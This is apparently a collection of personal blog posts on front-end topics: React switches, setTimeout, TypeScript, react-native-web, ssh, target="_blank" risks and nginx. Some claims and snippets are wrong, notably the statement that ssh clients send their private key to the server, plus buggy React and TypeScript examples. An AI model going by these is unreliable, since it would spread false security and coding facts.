    const { checked: checkedInState } = this.state
    if (!this.props.hasOwnProperty('checked')) {
      // no checked prop, uncontrolled
      this.setState({
        checked: !checkedInState
      })
    }
    onChange && onChange(!checkedInState)
  }

  render() {
    const { checked } = this.state;
    let classNames = ['switch'];
    
    if (checked) {
      classNames = [...classNames, 'checked']
    }
    return (
      <div>
        <button className={classNames.join(' ')} onClick={this.toggle}/>
      </div>
    );
  }
}

class Wrapper extends React.Component {
  
  ref = React.createRef();

  state = {
    controlledChecked: false,
  }

  controlledOnChange = (checked) => {
    this.setState({
      controlledChecked: checked;
    })
  }

  getUncontrolledValue = () => {
    alert(this.ref.current.value);
  }
  
  getControlledValue = () => {
    alert(this.state.controlledCheck);
  }
  
  render() {
    return <React.Fragment>
      <div>
        Uncontrolled: <Switch ref={this.ref}/>
        <button onClick={this.getUncontrolledValue} style={{marginTop: 20}}>
          Uncontrolled Switch Status 
        </button>
      </div>
      <hr/>
      <div>
        Controlled: <Switch checked={this.state.controlledChecked} onChange={this.controlledOnChange}/>
        <button onClick={this.getControlledValue} style={{marginTop: 20}}>
          Controlled Switch Status
        </button>
      </div>
      <hr/>
    </React.Fragment>
  }
}

ReactDOM.render(
  <Wrapper />,
  document.getElementById('root')
);

Notice

  • If you want to follow the latest news/articles for the series of my blogs, Please 「Watch」to Subscribe.

Implement setInterval with setTimeout

setInterval vs setTimeout

  • setTimeout: sets a timer which executes a function or specified piece of code once the timer expires.
  • setInterval: repeatedly calls a function or executes a code snippet, with a fixed time delay between each call

setInterval can be implemented as recurisve setTimeout calls.

setInterval implementation with setTimeout

with signature

function _setInterval(fn: Function, delay: number): number;

The call stack will be:

--delay--> fn() --delay--> fn() --delay--> fn() ...

To delay the execution of fn, we could simply use setTimeout. Therefore, we create a wrapper function which encapsulates the logic which executes the original function.

function _setInterval(fn, delay) {
  // wrap the original function, recursively call the wrapper function with setTimeout 
  const wrapper = () => {
    setTimeout(fn, 0);
    return setTimeout(wrapper, delay)
  }

  setTimeout(wrapper, delay);
}

_setInterval(console.log.bind(null, 'hello world'), 1000);

Notice

  • If you want to follow the latest news/articles for the series of my blogs, Please 「Watch」to Subscribe.

Typescript introduction(Ⅱ)

Interfaces

  • Typescript interfaces declare the structure of variables.
  • Interface delcarations produce types, not values.
  • Interfaces provide the ability to name and parameterize object types. To represent primitive type, use type declaration
type numOrString = number | string; // union of primitive type
type size = 'large' | 'small' | 'medium'; // union of string literals 

Basic Interface

interface WithName {
  name: string;
}

function printName(withNameObj: WithName) {
  console.log(withNameObj.name);
}

Type checking rule

To check whether variable y can be assigned to variable/parameter x, the compiler checks each property of x to find a corresponding compatible property in y.

  • The same rule for assignment is used when checking function call arguments.

  • Object literals get special treatment and undergo excess property checking when assigning them to other variables, or passing them as arguments

Example

let myObj = {name: 'mike', age: 18};
// myObj's inferred type is {name: string, age: number};
printName(myObj); // OK

// Error, excess property checking for object literal
printName({name: 'mike', age: 18});
// type assertion as fix
printName({name: 'mike', age: 18} as WithName);

// error, excess property checking for object literal
let myObj1: WithName = {name: 'mike', age: 18};

let myObj2: WithName = myObj; // OK

Optional property

Optional property can be marked with ? following the property name. E.g.

interface SquareConfig {
    color?: string;
    width?: number;
}

function createSquare(config: SquareConfig): {color: string; area: number} {
    let newSquare = {color: "white", area: 100};
    if (config.color) {
        newSquare.color = config.color;
    }
    if (config.width) {
        newSquare.area = config.width * config.width;
    }
    return newSquare;
}

let mySquare = createSquare({color: "black"});

Readonly properties

Readonly properties can be mark with readonly modifier. E.g.

interface Person {
    readonly identityId: number;
    readonly bloodType: 'A' | 'B';
}

let p1: Person = { identityId: 10000, bloodType: 'A' };
p1.identityId = 100005; // error!

Classes

class Point {
  constructor(public x: number, public y: number) {
    this.x = x;
    this.y = y;
  }
  public length() {
    return Math.sqrt(this.x * this.x + this.y * this.y);
  }
  static origin = new Point(0, 0);
}

value and type

When you declare a class in TypeScript, you are actually creating multiple declarations at the same time.

  • a value - constructor
  • a type - the type of the instance of the class.

The following example introduces both a named type called Point (the class type) and a named value called Point (the constructor function) in the containing declaration space.

  • The named type Point is exactly equivalent to
interface Point {
  x: number;
  y: number;
  length(): number;
}
  • The named value Point is a constructor function whose type corresponds to the declaration
let Point: {
  new(x: number, y: number): Point;
  origin: Point;
};

The context in which a class is referenced distinguishes between the class type and the constructor function.

For example, in the assignment statement

let p: Point = new Point(10, 20);

the identifier Point in the type annotation refers to the class type, whereas the identifier Point in the new expression refers to the constructor function object.

typeof operator

The typeof operator takes an operand of any type and produces a value of the String primitive type. In positions where a type is expected, typeof can also be used in a type query to produce the type of an expression, in which case it should be followed by a value.

let x = 5;
let y = typeof x;  // Use in an expression, equivalent to ` let y = 'number' `
let z: typeof x;   // Use in a type query, equivalent to ` let z: number `

let obj = { a: 3, b: 's' };
let another1: typeof obj = { a: 4 }; // error, property 'b' is missing

Notice

  • If you want to follow the latest news/articles for the series of my blogs, Please 「Watch」to Subscribe.

Generic Programming

Generic programming centers around the idea of abstracting from concrete, efficient algorithms to obtain generic algorithms that can be combined with different data representations to produce a wide variety of useful software.

— Musser, David R.; Stepanov, Alexander A., Generic Programming

Goal

  • To make the algorithm/method/solution work generically by encapsulating the details about data structures and operations.
  • To allow developers to focus on the solution instead of differentiating data structures in the implementation.

Don't talk, show the example

Calculate the sum of an array

function sum(arr) {
  let total = 0;
  for(let i = 0; i < arr.length; i++) {
    total += arr[i];
  }
  return total; 
}

console.log(sum([1,2,3])); //6

We iterate through the array and add up each element to get the sum of the array. But what if we want a different operation, such as finding the max number:

Find the max number in an array

function max(arr) {
  let result = arr[0];
  for(let i = 1; i < arr.length; i++) {
    if(arr[i] > result) {
      result = arr[i]
    }
  }
  return result; 
}

console.log(max([1,2,3])); //3

How can we do better?

There might be many cases in which we need to go through the array and do something with the elements in the array. It should be a good option to encapsulate the operation and leave it to the caller to determine what to do with each element. That's what reduce is designed for. Let's implement our own _reduce.

function _reduce(op, initialValue) {
  return (arr) => {
    let result;
    let index = 0;
    if(initialValue != null) {
      result = initialValue;
    } else {
      result = arr[0];
      index = 1;
    }
    for(let i = index; i < arr.length; i++) {
      result = op(result, arr[i])
    }
    return result;
  }
}

So now we can rewrite sum and max as:

let sumWithReduce = _reduce((sum, item) => sum + item)
let maxWithReduce = _reduce((max, item) => max > item ? max : item)

console.log(sumWithReduce([1,2,3])); //6
console.log(maxWithReduce([1,2,3])); //3

How can we do even better?

In the _reduce implementation above, we have abstracted away the operation detail and only keep the looping logic in the implementation. However, the implementation still relies on for and array index so it only works for arrays. We make it more generic with Iterators.

function _genericReduce(op, initialValue) {
  return (iterables) => {
    let inited, result;
    if(initialValue != null) {
      result = initialValue;
      inited = true;
    }
    for(let item of iterables) {
      if(!inited) {
        result = item;
        inited = true;
      } else {
        result = op(result, item)
      }
    }
    return result;
  }
}

let sumWithGenericReduce = _genericReduce((sum, item) => sum + item)
let maxWithGenericReduce = _genericReduce((max, item) => max > item ? max : item)

console.log(sumWithGenericReduce([1,2,3])); //6
console.log(maxWithGenericReduce([1,2,3])); //3

It now works for all data structures that are iterable. Here is a reading note I wrote about iterator if you are interested in.

class Group {
  constructor(id) {
    this.id = id;
    this.members = [];
  }
  
  addMember(person) {
    this.members.push(person);
  }

  [Symbol.iterator]() {
    let index = 0;
    return {
      next: () => ({
        value: this.members[index++],
        done: index > this.members.length
      })
    };
  }
}

class Member {
  constructor(name, salary) { 
    this.name = name;
    this.salary = salary;
  }
}


## try to find the lowest salary in the group

let group = new Group('007');
group.addMember(new Member('mike', 1000))
group.addMember(new Member('john', 2000))
group.addMember(new Member('alfred', 3000))
let lowestSalary = _genericReduce((result, member) => {
  if(member.salary < result) {
    return member.salary
  }
  return result;
},  Number.MAX_SAFE_INTEGER)(group)
console.log(lowestSalary);

Resource

Code Sample

Notice

  • If you want to follow the latest news/articles for the series of my blogs, Please 「Watch」to Subscribe.

Write once run anywhere with sharing components

Write once, run anywhere

Ever wonder writing only one piece of code but run it across all platforms (web + native)? Yes, you definitely can!

Start from Native with react-ative

react-native rnweb

A project with the following directory structure will be created:

Directory

// App.js code
import React, {Component} from 'react';
import {Platform, StyleSheet, Text, View} from 'react-native';

const instructions = Platform.select({
  ios: 'Press Cmd+R to reload,\n' + 'Cmd+D or shake for dev menu',
  android:
    'Double tap R on your keyboard to reload,\n' +
    'Shake or press menu button for dev menu',
});

type Props = {};
export default class App extends Component<Props> {
  render() {
    return (
      <View style={styles.container}>
        <Text style={styles.welcome}>Welcome to React Native!</Text>
        <Text style={styles.instructions}>To get started, edit App.js</Text>
        <Text style={styles.instructions}>{instructions}</Text>
      </View>
    );
  }
}

const styles = StyleSheet.create({
  container: {
    flex: 1,
    justifyContent: 'center',
    alignItems: 'center',
    backgroundColor: '#F5FCFF',
  },
  welcome: {
    fontSize: 20,
    textAlign: 'center',
    margin: 10,
  },
  instructions: {
    textAlign: 'center',
    color: '#333333',
    marginBottom: 5,
  },
});
// index.js code
import {AppRegistry} from 'react-native';
import App from './App';
import {name as appName} from './app.json';

AppRegistry.registerComponent(appName, () => App);

You can checkout the source code at react-native branch of the repo

  • Run IOS
react-native run-ios

Ios

  • Run Android
react-native run-android

Android

Make it work for Web

Ideally we would like our react native project to work on web as well, with minimum code modification. The goal can be achieved with the help of react-native-web.

Principle

In the react native code, we import modules like AppRegistry and Text from react-native package. These modules aren't recognized by web browsers and thus won't work if used directly on web platform. react-native-web implements the same protocols/APIs in web terminology used in react-native. By aliasing react-native to react-native-web in webpack config, we are then able to use the equivalent web components without code change.

//webpack.config.js
resolve: {
  extensions: [".js", ".jsx"],
  alias: {
    "react-native": "react-native-web"
  }
},

Packaging with the above webpack config with the following code

import {Text} from 'react-native'

=> actually imports Text component from 'react-native-web'.

Let's take a look into the source code of Text component implementation in react-native-web. In the render function the return is either a div or span element which works on web platform.

// Text/index.js
import applyLayout from '../../modules/applyLayout';
import applyNativeMethods from '../../modules/applyNativeMethods';
import { bool } from 'prop-types';
import { Component } from 'react';
import createElement from '../createElement';
import StyleSheet from '../StyleSheet';
import TextPropTypes from './TextPropTypes';

class Text extends Component<*> {
  //...

  render() {
    const {
      dir,
      numberOfLines,
      onPress,
      selectable,
      style,
      /* eslint-disable */
      adjustsFontSizeToFit,
      allowFontScaling,
      ellipsizeMode,
      lineBreakMode,
      minimumFontScale,
      onLayout,
      onLongPress,
      pressRetentionOffset,
      selectionColor,
      suppressHighlighting,
      textBreakStrategy,
      tvParallaxProperties,
      /* eslint-enable */
      ...otherProps
    } = this.props;

    //...

    const component = isInAParentText ? 'span' : 'div';

    return createElement(component, otherProps);
  }

  // ...
}
// ...

export default applyLayout(applyNativeMethods(Text));

react native bundling doesn't go through webpack while web packaging does. Thus the aliasing in webpack config only works for web packaging.

Steps Details

  • Add web folder in parellel with android and ios
  • Add index.html under web folder
<!DOCTYPE html>
<html>
  <head>
    <title>React Native Web</title>
    <meta name="viewport" content="width=device-width">
  </head>
  <body>
    <div id="root"></div>
  </body>
</html>
  • Install dependency
npm install --save react-art react-dom react-native-web 
html-webpack-plugin webpack-dev-server webpack webpack-cli 
babel-loader @babel/preset-env @babel/preset-react
  • Add webpack config file: webpack.config.js
const HtmlWebPackPlugin = require("html-webpack-plugin");

module.exports = {
  entry: {
    app: "./index.js"
  },
  resolve: {
    extensions: [".js", ".jsx"],
    alias: {
      "react-native": "react-native-web"
    }
  },
  output: {
    filename: "bundle.js"
  },
  module: {
    rules: [
      {
        test: /\.js$/,
        exclude: /(node_modules|bower_components)/,
        use: {
          loader: "babel-loader",
          options: {
            presets: ["@babel/preset-env", "@babel/preset-react"]
          }
        }
      }
    ]
  },
  plugins: [
    new HtmlWebPackPlugin({
      template: "./web/index.html",
      filename: "./index.html"
    })
  ],
  devServer: {
    historyApiFallback: true
  }
};
  • Add quick start command in scripts attribute in package.json
{
  web: "webpack-dev-server"
}
  • Update App.js
// App.js
import React, {Component} from 'react';
import {Platform, StyleSheet, Text, View} from 'react-native';

const instructions = Platform.select({
  ios: 'Press Cmd+R to reload,\n' + 'Cmd+D or shake for dev menu',
  android:
    'Double tap R on your keyboard to reload,\n' +
    'Shake or press menu button for dev menu',
  web: 'Cmd+R or F12 to reload'
});

type Props = {};
export default class App extends Component<Props> {
  render() {
    return (
      <View style={styles.container}>
        <Text style={styles.welcome}>Welcome to React Native!</Text>
        <Text style={styles.instructions}>To get started, edit App.js</Text>
        <Text style={styles.instructions}>{instructions}</Text>
      </View>
    );
  }
}

const styles = StyleSheet.create({
  container: {
    flex: 1,
    justifyContent: 'center',
    alignItems: 'center',
    backgroundColor: '#F5FCFF',
  },
  welcome: {
    fontSize: 20,
    textAlign: 'center',
    margin: 10,
  },
  instructions: {
    textAlign: 'center',
    color: '#333333',
    marginBottom: 5,
  },
});
  • Update index.js
//index.js
import {AppRegistry, Platform } from 'react-native';
import App from './App';
import {name as appName} from './app.json';

AppRegistry.registerComponent(appName, () => App);
if (Platform.OS === 'web') {
  AppRegistry.runApplication(appName, {
    rootTag: document.getElementById("root")
  });
}
  • Run
npm run web

Web

Reference

Notice

  • If you want to follow the latest news/articles for the series of my blogs, Please 「Watch」to Subscribe.

ssh

什么是ssh

ssh是用来登录远程服务器并进行操作的程序。

ssh [-1246AaCfgkMNnqsTtVvXxY] [-b bind_address] [-c cipher_spec]
         [-D port] [-e escape_char] [-F configfile] [-i identity_file] [-L
         [bind_address:]port:host:hostport] [-l login_name] [-m mac_spec]
         [-O ctl_cmd] [-o option] [-p port] [-R
         [bind_address:]port:host:hostport] [-S ctl_path] [user@]hostname
         [command]

公钥(public key)验证

ssh客户端发送它的私钥(private key), ~/.ssh/id_dsa 或者 /.ssh/id_rsa到远程服务器。 远程服务器检测/.ssh/authorized_keys是否有对应的公钥(public key)。

客户端配置

修改 ~/.ssh/config文件

Host remoteServer               # 方便记忆的主机登录伪名
HostName www.google.com         # 服务器ip或域名
User root                       # 登录的用户名
IdentityFile ~/.ssh/id_rsa      # 私钥路径

id_rsa(私钥private key)和id_rsa.pub(公钥public key)一一对应

直接修改远程服务器文件

mount

  1. 安装FUSE和SSHFS: https://osxfuse.github.io/
sshfs [email protected]:/ /local/directory/to/mount

unmount

umount /local/directory/to/mount

相关资料:

文档

Security risk for opening new tabs or windows

Background

Today eslint reports an error when I introduce eslint-plugin-react

error  Using target="_blank" without rel="noopener noreferrer" is a security risk: see https://mathiasbynens.github.io/rel-noopener  react/jsx-no-target-blank

Why

Opening a new tab/window, either by hyperlinks (i.e <a> tag with target attribute set to _blank) or programmatically calling window.open, will grant the newly-opened tab/window access back to the originating tab/window via window.opener. Therefore, the newly opened tab/window can then change the window.opener.location to redirect to the phishing page in the background, or execute some JavaScript on the opener-page on your behalf.

How to fix

Add rel="noopenner" to outgoing links. E.g.

<a href="https://abc.com" target="_blank" rel="noopener">
window.open('https://abc.com', 'security', 'noopener');
  • Reset opener property

Note: this technique is subject to Same Origin Policy

let nw = window.open('https://abc.com', 'security');
nw.opener = null;

Reference

Notice

  • If you want to follow the latest news/articles for the series of my blogs, Please 「Watch」to Subscribe.

Typescript introduction(ⅠII)

Functions

Function Types

Function types can be defined in three ways.

Method Signature

// function declaration
function addWithMethodSignature(x: number, y: number): number {
  // method signature
  return x + y;
}

// function expression
let anotherAddWithMethodSignature = function(x: number, y: number): number { 
  // method signature
  return x + y;
}; 

Function type literal

A function type literal specifies the type parameters, regular parameters, and return type of a call signature.

let addWithFuncLiteral: (x: number, y: number) => number = function(x, y) {
  return x + y;
};

Object literal

An object type containing one or more call signatures is said to be a function type.

let addWithObjLiteral: { (x: number, y: number) : number } = function(x, y) {
  return x + y;
};

Function type literal vs Object literal

  • Function types may be written using function type literals or by including call signatures in object type literals. i.e.
< T1, T2, ... > ( p1, p2, ... ) => R

is exactly equivalent to the object type literal

{ < T1, T2, ... > ( p1, p2, ... ) : R }
  • To differentiate function types defined with object literal, check to see whether the object literal/interface contains a call signature
interface A { // an object with a property called `log` which is function type
  log(num: number): number; // a property
}

let obj: A = {
  log(n) {
    return n;
  }
}

interface A1 { // a function type.
  (num: number): number // call signature
}

let func: A1 = (n: number) => n

Optional parameters

Optional property can be marked with ? following the parameter name. E.g.

function parseInt(s: string, radix?: number): number {
  // ...
}

let result1 = parseInt('3'); // ok 
let result2 = parseInt('3', 2);  // ok
let result3 = parseInt('3', 2 , 'too many'); // ok

Overloads

let suits = ["hearts", "spades", "clubs", "diamonds"];

function pickCard(x: {suit: string; card: number; }[]): number;
function pickCard(x: number): {suit: string; card: number; };
function pickCard(x): any {
  if (typeof x == "object") {
    let pickedCard = Math.floor(Math.random() * x.length);
    return pickedCard;
  }
  else if (typeof x == "number") {
    let pickedSuit = Math.floor(x / 13);
    return { suit: suits[pickedSuit], card: x % 13 };
  }
}

let myDeck = [{
  suit: "diamonds", card: 2
}, {
  suit: "spades", card: 10
}, {
  suit: "hearts", card: 4
}];

let pickedCard1 = myDeck[pickCard(myDeck)];
alert("card: " + pickedCard1.card + " of " + pickedCard1.suit);

let pickedCard2 = pickCard(15);
alert("card: " + pickedCard2.card + " of " + pickedCard2.suit);

Notice

  • If you want to follow the latest news/articles for the series of my blogs, Please 「Watch」to Subscribe.

DRY principle

Background

We want to have a function which checks whether an item in JS object representation is a commondity. An item is a commondity if it satisfies one of :

  • HAS a price attribute
  • HAS a barcode attribute

The following tests should pass:

isCommondity({price: 1}); //true
isCommondity({barcode: 'abc'}); //true
isCommondity({a: 'a'}); //false

Round one

It seems to be quite straightfordword to come out with the following solution:

function isCommondityV1(comd) {
  return !!comd.price || !!comd.barcode
}

The implementation is wrong under some circumstances. !!obj.prop is checking the truthy of the prop property of obj, instead of checking the existence of the prop property. E.g.

isCommondityV1({price: 0}); // false

while we expect isCommondityV1 to return true since {price: 0} does have the price property.

Round two

hasOwnProperty

function isCommondityV2(comd) {
  return comd.hasOwnProperty('price') || comd.hasOwnProperty('barcode')
}

isCommondityV2({price: 0}); //true

The solution works perfectly in line with the functionality requirement. However, it does suffer from two problems:

  • Flexibility: if we add more checkings later on, we would have to update the implementation body. E.g. when the attribute set extends to be ['price', 'barcode', 'a', 'b'].
function isCommondityV21(comd) {
  return comd.hasOwnProperty('price') || 
          comd.hasOwnProperty('barcode') || 
          comd.hasOwnProperty('a') || 
          comd.hasOwnProperty('b');
}
  • DRY: We're repeating the operation (i.e comd.hasOwnProperty). We can be better off by seperating the variables and encapsulate the constants.

Round three

function isCommondityV3(comd) {
  return ['price', 'barcode'].some(Object.prototype.hasOwnProperty, comd);
}

With this implementation, we can easily deal with later change by updating the variables.

function isCommondityV31(comd) {
  return ['price', 'barcode', 'a', 'b'].some(Object.prototype.hasOwnProperty, comd);
}

Or we can even go one more step further by encapsulating the variables into config file. Futher requirement change will result in only changes in config file without touching the implementation body :-)

//config.js
export COMMONDITY_PROPS = ['price', 'barcode'];
//commondity.js
import { COMMONDITY_PROPS } from 'config.js'

function isCommondity(comd) {
  return COMMONDITY_PROPS.some(Object.prototype.hasOwnProperty, comd);
}

Notice

  • If you want to follow the latest news/articles for the series of my blogs, Please 「Watch」to Subscribe.

Typescript introduction(IV)

Modules

Export

Export declaration

export const num = 1;

Export statement

// a.js
const num = 1;
const str = 'export';
export { num };
export { str as exportStr }; // export renaming

Export with default

// b.js
export default function toString(obj) {
  return obj.toString();
}

Re-exports

export { num, exportStr } from './a.js'
// equivalent to 
export * from './a.js'

Import

import { num, exportStr } from './a.js';
import * as util from './a.js'


import toString from './b.js';
// equivalent to
import { default as toString } from './b.js'

module in tsconfig

Specify module code generation: 'none', 'commonjs', 'amd', 'system', 'umd', 'es2015', or 'ESNext'.

Namespace

Ambient declarations are written using the declare keyword and can declare variables, functions, classes, enums, namespaces, or modules.

Ambient modules

// node.d.ts
declare module "url" {
  export interface Url {
    protocol?: string;
    hostname?: string;
    pathname?: string;
  }

  export function parse(urlStr: string, parseQueryString?): Url;
}
/// <reference path="node.d.ts"/>
import * as URL from "url";
let myUrl = URL.parse("https://github.com/n0rush");

Shorthand ambient modules

declare module "new-module"; // All imports from a shorthand module will have the any type.

Wildcard module declarations

declare module "json!*" {
  export const version: string;
  const value: any;
  export default value;
}

cant only do

import { version } from 'example.json'
import data from 'example.json'
import { data } from 'example.json' // error 

Namespaces produce values

namespace N {
  let str = "hello world";
  export function fn() {
    return str;
  }
}

N.fn();
N.str;  // Error, str is not exported

The above M declaration is equivalent to the folowing in compiled code:

var N;
(function (N) {
  var str = "hello world";
  function fn() {
    return str;
  }
  N.fn = fn;
})(N || (N = {}));
N.fn();
N.str; // Error, str is not exported

Module resolution

import { a } from 'pathOfModuleA';
  • First, the compiler will try to locate a file that represents the imported module. To do so the compiler follows one of two different strategies: Classic or Node, which is specified with moduleResolution in tsconfig.
  • If no match is found and the module name is non-relative, then the compiler will attempt to locate an ambient module declaration.
  • A non-relative import can be resolved relative to baseUrl, or through path mapping. They can also resolve to ambient module declarations. Use non-relative paths when importing any of your external dependencies.

Base Url

Setting baseUrl informs the compiler where to find modules. All module imports with non-relative names are assumed to be relative to the baseUrl. Note that relative module imports are not impacted by setting the baseUrl, as they are always resolved relative to their importing files.

Path mapping, equivalent to alias in other tools

{
  "compilerOptions": {
    "baseUrl": ".", // This must be specified if "paths" is set.
    "paths": {
      "jquery": ["node_modules/jquery/dist/jquery"] // This mapping is relative to "baseUrl"
    }
  }
}

Notice

  • If you want to follow the latest news/articles for the series of my blogs, Please 「Watch」to Subscribe.

Typescript introduction(Ⅰ)

What is Typescript

Typescript - Javascript that scales

Why Typescript

Static type system

TypeScript can do static type checking at compile time. Types are erased before emitting compiled Javascript, result in zero run-time overhead to program execution.

Scalability

It's pretty useful for large-scale system and makes code refactoring easier and under control. E.g.

// You have no idea what parameter the greet funciton accpets without peaking into the function implementation  
function greet(person) {
  if (person.sex === 'male') {
    return `Mr ${person.first} ${person.second}`
  } else if (person.sex === 'female') {
    return `Mis ${person.first} ${person.second}`
  }
  return `${person.first} ${person.second}`
}

compared to the Typescript version

interface Person {
    sex?: string
    first: string
    second: string
}

function greet(person: Person): string {
    // ...
}

IDE support - symbol based navigation + statement completion

Starter

In Typescript, types can be associated with variables through explicit type annotations, such as

let x: number;

or through implicit type inference, as in

let x = 1;

Types and Values

Typescript is a superset of Javascript. What works in Javascript should also work in Typescript. The addon from Typescript, as its name indicates, is type. In Typescript, there are values and types. TypeScript erases all types information before emitting JavaScript while values are preserved as in Javascript.

What results in types:

  • A type alias declaration (type sn = number | string;)
  • An interface declaration (interface I { x: number[]; })
  • A class declaration (class C { })
  • An enum declaration (enum E { A, B, C })
  • An import declaration which refers to a type

What results in values:

  • let, const, and var declarations
  • A namespace or module declaration which contains a value
  • An enum declaration
  • A class declaration
  • An import declaration which refers to a value
  • A function declaration

Basic Types

  • Boolean
let isChecked: boolean = false;
  • Number
let num: number = 6;
  • String
let color: string = "blue";
  • Array
let list: number[] = [1, 2, 3];

let list: Array<number> = [1, 2, 3];  // This doesnt work in JSX as `<` and `>` are used in element tag
  • Tuple
// Declare a tuple type
let x: [string, number];
// Initialize it
x = ["hello", 10]; // OK
// Initialize it incorrectly
x = [10, "hello"]; // Error
  • Enum
enum Color {Red = 1, Green, Blue}
let c: Color = Color.Green;

Note that Enum produce both a value and a type.

// compiled code
var Color;
(function (Color) {
    Color[Color["Red"] = 1] = "Red";
    Color[Color["Green"] = 2] = "Green";
    Color[Color["Blue"] = 3] = "Blue";
})(Color || (Color = {}));
var c = Color.Green;
  • Any - try to avoid

It's useful when migrate from Javascript to Typescript.

  • Void

void is a little like the opposite of any: the absence of having any type at all. You may commonly see this as the return type of functions that do not return a value:

function warnUser(): void {
  console.log("This is my warning message");
}
  • Object:

Note: object is not the same as Object.

  • object is a basic type that represents the non-primitive type, i.e. any thing that is not number, string, boolean, symbol, null, or undefined.
  • Object is a built-in interface as shown below. It is almost any type.
interface Object {
    /** The initial value of Object.prototype.constructor is the standard built-in Object constructor. */
    constructor: Function;

    /** Returns a string representation of an object. */
    toString(): string;

    /** Returns a date converted to a string using the current locale. */
    toLocaleString(): string;

    /** Returns the primitive value of the specified object. */
    valueOf(): Object;

    /**
      * Determines whether an object has a property with the specified name.
      * @param v A property name.
      */
    hasOwnProperty(v: PropertyKey): boolean;

    /**
      * Determines whether an object exists in another object's prototype chain.
      * @param v Another object whose prototype chain is to be checked.
      */
    isPrototypeOf(v: Object): boolean;

    /**
      * Determines whether a specified property is enumerable.
      * @param v A property name.
      */
    propertyIsEnumerable(v: PropertyKey): boolean;
}

Check the demo for difference:

function logWithBasicObject(obj: object) {
    console.log(obj.hasOwnProperty);
}

logWithBasicObject({a: 'b'}); // OK
logWithBasicObject('ab'); // Error: Argument of type '"ab"' is not assignable to parameter of type 'object'

function logWithInterfaceObject(obj: Object) {
    console.log(obj.hasOwnProperty);
}

logWithInterfaceObject({a: 'b'}); // OK
logWithInterfaceObject('ab'); // OK

Notice

  • If you want to follow the latest news/articles for the series of my blogs, Please 「Watch」to Subscribe.

nginx备忘

nginx安装及基础命令

# mac下安装nginx. 默认安装于/usr/local/etc/nginx
brew install nginx

常用命令:

sudo nginx -s stop  #关闭nginx
sudo nginx | sudo nginx -c /absolute/path/to/nginx-config-file  #启动nginx
sudo ngxin -s reload  #重启nginx
nginx -t #测试nginx配置文件是否有效

此处有坑.

如果遇到这个错误: nginx: [emerg] bind() to 0.0 .0 .0: 80 failed(48: Address already in use)
可以使用 lsof -i :80查看使用该端口的进程然后用kill 端口号杀掉该进程。

创建nginx脚本

# !/bin/sh

###BEGIN INIT INFO# Provides: nginx
# Required - Start: $all
# Required - Stop: $all
# Default - Start: 2 3 4 5
# Default - Stop: 0 1 6
# Short - Description: starts the nginx web server
# Description: starts nginx using start-stop-daemon
### END INIT INFO

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
DAEMON=/usr/local/bin/nginx
PID_DIR="${DAEMON}/logs"
NAME=nginx
DESC=nginx

# exit immediately if a simple command exits with a non - zero status.
set -e

# ensure PID_DIR
# -d: test whether directory exists
if [ ! -d $PID_DIR ];
then
    mkdir $PID_DIR
fi

#$1:second argument.
case "$1" in  
    start)
        echo -n "Starting $DESC:"
        start-stop-daemon --start --quiet --pidfile ${PID_DIR}/$NAME.pid --exec $DAEMON
        echo "$NAME."
        ;;
    stop)
        echo - n "Stopping $DESC:"
        start-stop-daemon --stop --quiet --pidfile ${PID_DIR}/$NAME.pid --exec $DAEMON
        echo "$NAME."
        ;;
    restart|force-reload)
        echo -n "Restarting $DESC:"
        start-stop-daemon --stop --quiet --pidfile ${PID_DIR}/$NAME.pid --exec $DAEMON
        sleep 1
        start-stop-daemon --start --quiet --pidfile ${PID_DIR}/$NAME.pid --exec $DAEMON
        echo "$NAME."
        ;;
    reload)
        echo -n "Reloading $DESC configuration:"
        start-stop-daemon --stop --signal HUP --quiet --pidfile ${PID_DIR}/$NAME.pid --exec $DAEMON
        echo "$NAME."
        ;;
    *)
        N=/etc/init.d/$NAME
        echo "Usage: $N {start|stop|restart|reload|force-reload}"
        exit 1
        ;;
    esac
exit 0

nginx配置

# conf主文件: /usr/local/etc/nginx/nginx.conf
user www-data;
worker_processes auto;
pid /run/nginx.pid; #进程id文件

events {
    worker_connections 768;
}

http {
    # Basic Settings
    sendfile on;
    tcp_nopush on;
    tcp_nodelay on;
    keepalive_timeout 65;
    types_hash_max_size 2048;

    # import mime types
    include /etc/nginx/mime.types;
    default_type application/octet-stream;

    # SSL Settings
    ssl_protocols TLSv1 TLSv1.1 TLSv1.2; # Dropping SSLv3, ref: POODLE
    ssl_prefer_server_ciphers on;

    # Logging Settings
    access_log /var/log/nginx/access.log;
    error_log /var/log/nginx/error.log;

    # Gzip Settings
    gzip on;
    gzip_disable "msie6";

    # Virtual Host Configs
    include /etc/nginx/conf.d/*.conf;
    include /etc/nginx/sites-enabled/*; #引入sites-enabled下的所有文件
}

## /usr/local/etc/nginx/sites-enabled/default文件:
server {
    listen 80 default_server;
    listen [::]:80 default_server;

    server_name n0rush.github.io;
    return 301 https://$server_name$request_uri;
}

server {
    listen 443;

    ssl on;
    ssl_certificate /path/to/certificate;
    ssl_certificate_key /path/to/crt-private-key;

    root /root/for/your/app;

    # Add index.php to the list if you are using PHP
    index index.html index.htm index.nginx-debian.html;

    server_name n0rush.github.io;

    # location ~ uri路径正则:区分大小写
    location ~ ^/site/(r|res)/(.+)$ {
        # 匹配 /site/r/hello, 不匹配 /site/R/hello
        expires 10y;
        alias /my-site-app/public/$1/$2;
    }

    # location ~* uri路径正则:不区分大小写
    location ~* ^/(r|res)/(.+)$ {
        # 匹配 /r/hello和/R/hello
        expires 10y;
        alias /my-main-app/public/$1/$2;
    }

    # location = uri路径: 精确匹配制定路径,不包括子路径.
    location = /favicon.ico {
        root /my-site-app/public/res/;
    }

    # location uri路径:对当前路径以及路径下的所有资源有效
    location / {
        # 匹配 /blog, /blog/blabla, /hello
        expires -1;
        proxy_pass http://localhost:8082;
    }
}

location匹配优先级:
1. 精确匹配. i.e. =
2. 正则匹配. i.e. ~, ~*
3. 路径匹配.

ssl certificate

#生成秘钥
openssl genrsa -out my-key.pem 2048

#生成一个证书请求
openssl req -new -key my-key.pem -out cert.csr

#生成证书/公钥:
openssl req -new -x509 -key my-key.pem -out my-pub-key.pem -days 1095

参考资料

linode
nginx核心模块

前端基础

html

meta

<meta charset="utf-8">
<meta name="keywords" content="music">
<meta name="description" content="netease">
<meta name="viewport" content="width=device-width">

通用属性: title

<a href="http://www.google.com" title="google"> Google </a>
<span title="know more"> know more </span>

css

伪类 - :

伪元素 - ::

font/line-height

em/percentage相对的是当前字体的大小, 字体大小可继承

white-space/word-wrap/word-break

长单词...的处理

text-overflow: ellipsis
